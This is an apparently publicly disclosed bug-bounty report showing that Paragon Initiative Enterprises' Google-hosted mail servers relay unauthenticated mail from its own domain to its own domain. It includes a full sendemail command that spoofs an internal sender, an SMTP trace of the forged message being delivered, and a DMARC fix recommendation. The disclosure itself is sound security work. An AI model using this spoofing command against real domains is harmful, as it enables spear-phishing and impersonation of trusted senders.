HexBrain

Paragon Initiative Enterprises · Report #144385

SMTP server allows anonymous relay from internal addresses to internal addresses

Duplicatestatus
5upvotes
16 Oct 2017disclosed

How it was found

Hello,

Issue descripton

your incoming SMTP servers, provided by google , seems to be accepting without authentication mails from addresses @paragonie.com and destined for addresses @paragonie.com.

This can greatly ease spear-phishing attacks, as users usually put much trust into emails coming from their own domain name, let alone people they actually know. For instance, an attacker could craft an email impersonating your CEO or your IT dept. and asking to open a malicious link or attachment, then send it to some of your users by leveraging this vulnerabilty.

Issue reproduction

using the sendemail script (http://caspian.dotconf.net/menu/Software/SendEmail/) : sendemail -s alt1.aspmx.l.google.com:25 -o message-file=mail2.txt -t [email protected] -f [email protected] -u "security testing of mail relay" -vvv

If you will, I can also reproduce the issue at your request, with any "from:" and "to:" addresses that you like.

Trace output

As this trace shows, I was able to send an email from [email protected] to [email protected], without authentication.

Jun 12 19:08:48 vps289445 sendemail[2081]: INFO => Sending:     MAIL FROM:<[email protected]>
Jun 12 19:08:48 vps289445 sendemail[2081]: SUCCESS => Received:         250 2.1.0 OK s12si11327788lfe.119 - gsmtp
Jun 12 19:08:48 vps289445 sendemail[2081]: INFO => Sending:     RCPT TO:<[email protected]>
Jun 12 19:08:48 vps289445 sendemail[2081]: SUCCESS => Received:         250 2.1.5 OK s12si11327788lfe.119 - gsmtp
Jun 12 19:08:48 vps289445 sendemail[2081]: INFO => Sending:     DATA
Jun 12 19:08:48 vps289445 sendemail[2081]: SUCCESS => Received:         354  Go ahead s12si11327788lfe.119 - gsmtp
Jun 12 19:08:48 vps289445 sendemail[2081]: INFO => Sending message body
Jun 12 19:08:48 vps289445 sendemail[2081]: Setting content-type: text/plain
Jun 12 19:08:48 vps289445 sendemail[2081]: SUCCESS => Received:         250 2.0.0 OK 1465751328 s12si11327788lfe.119 - gsmtp
Jun 12 19:08:48 vps289445 sendemail[2081]: Generating a detailed exit message
Jun 12 19:08:48 vps289445 sendemail[2081]: Email was sent successfully!  From: <[email protected]> To: <[email protected]> Subject: [security testing of mail relay] Server: [alt1.aspmx.l.google.com:25]

Recommendation

Authentication shall be requested for incoming emails from internal @paragonie.com email addresses, especially when they come from untrusted networks such as Internet.

More information on how to fix this vulnerability with DMARC records can be found here: https://support.google.com/mail/answer/2451690

Best regards.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original